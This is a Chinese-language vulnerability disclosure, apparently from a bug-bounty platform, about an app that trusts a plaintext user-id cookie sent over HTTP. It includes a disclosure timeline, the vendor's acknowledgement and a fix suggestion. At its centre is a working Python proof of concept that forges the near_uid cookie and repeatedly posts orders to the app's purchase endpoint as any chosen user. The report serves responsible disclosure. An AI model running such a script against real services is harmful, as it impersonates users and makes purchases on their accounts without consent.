2015-12-01: 细节已通知厂商并且等待厂商处理中 2015-12-01: 厂商已经确认,细节仅向厂商公开 2015-12-11: 细节向核心白帽子及相关领域专家公开 2015-12-21: 细节向普通白帽子公开 2015-12-31: 细节向实习白帽子公开 2016-01-15: 细节向公众公开
某app存在用户验证不严格,使用普通的http通讯,截获u_id之后可以进行任意操作。id可以读到任意数据,包括商品购买地址之类的或购买任意商品,存在秒杀脚本的情况。
一个python脚本说明问题:
import cookielib,urllib2,jsondef make_cookie(name, value): return cookielib.Cookie( version=0, name=name, value=value, port=None, port_specified=False, domain="mmwd.me", domain_specified=True, domain_initial_dot=False, path="/", path_specified=True, secure=False, expires=None, discard=False, comment=None, comment_url=None, rest=None )getSessionURL = "http://mmwd.me/api/qtpay_token"buyURL = "http://mmwd.me/api/order/activity_buy"cookieJar=cookielib.CookieJar()def sendMsg(url,jsonData): postData = json.dumps(jsonData) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar)) req = None; if(jsonData is None): req = urllib2.Request(url) else: req = urllib2.Request(url,postData) req.add_header('Content-Type', 'application/json; charset=utf-8'); req.add_header('Host', 'mmwd.me'); req.add_header('Connection', 'keep-alive'); req.add_header('User-Agent', 'QMMWD/0.8.9 iPhone/8.3 AFNetwork/1.1'); req.add_header('Accept-Language','zh-Hans;q=1'); req.add_header('Accept-Encoding','gzip, deflate'); req.add_header('Connection','keep-alive')# print "josnData %s"%(opener.addheaders) f = opener.open(req); content = f.read(); decodejson = json.loads(content) print "%s"%(decodejson["resperr"]); if decodejson["respcd"] == '0000': print '抢购成功'; return True; if decodejson["respmsg"] == '商品库存不足': print '没有库存了~~~' return True; return False;# print "content \n%s"%(content)# print "cookie %s\n"%(cookieJar)if __name__=="__main__": u_id = raw_input("请输入用户id:"); addr_id = raw_input("请输入地址id:"); item_id = raw_input("请输入要抢购商品的id:"); data={"amount":"1","activity_id":item_id,"addr_id":addr_id,"remark":""} cookieJar.set_cookie(make_cookie("near_uid", u_id)) tmp = raw_input("按任意键开始抢购"); sendMsg(getSessionURL,None); isCompleted = False; while isCompleted == False: isCompleted = sendMsg(buyURL,data)
建议重新通过 向cookie 写入session token验证数据。完善用户验证机制
危害等级:低
漏洞Rank:5
确认时间:2015-12-01 15:13
谢谢提醒。我们会尽快增加验证机制,保证用户信息安全,让大家更放心的体验各种好近福利。
暂无